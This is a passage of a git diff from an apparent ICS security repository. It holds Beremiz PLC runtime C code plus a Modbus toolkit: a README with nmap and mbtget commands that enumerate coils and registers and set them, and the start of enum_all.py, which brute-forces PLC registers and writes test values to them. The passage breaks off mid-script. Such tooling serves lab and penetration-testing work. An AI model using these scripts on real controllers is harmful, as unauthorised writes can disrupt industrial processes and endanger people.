timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + 